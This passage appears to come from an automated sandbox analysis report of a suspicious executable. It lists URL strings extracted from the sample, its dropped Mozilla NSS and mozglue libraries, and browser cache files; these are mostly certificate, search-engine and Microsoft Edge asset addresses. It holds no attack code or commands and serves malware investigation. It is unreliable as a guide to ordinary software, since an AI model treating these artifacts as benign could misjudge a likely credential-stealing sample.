Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_470.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1998947196.000000001D450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2011965317.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, HCFCAAEB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_470.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: cee6e620-58c8-4aba-aaa1-06411dcf197a.tmp.10.dr, c929a91f-fbe5-45e3-b7e8-74f6a6470408.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: HCFCAAEB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: cee6e620-58c8-4aba-aaa1-06411dcf197a.tmp.10.dr, c929a91f-fbe5-45e3-b7e8-74f6a6470408.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: cee6e620-58c8-4aba-aaa1-06411dcf197a.tmp.10.dr, c929a91f-fbe5-45e3-b7e8-74f6a6470408.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cee6e620-58c8-4aba-aaa1-06411dcf197a.tmp.10.dr, c929a91f-fbe5-45e3-b7e8-74f6a6470408.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
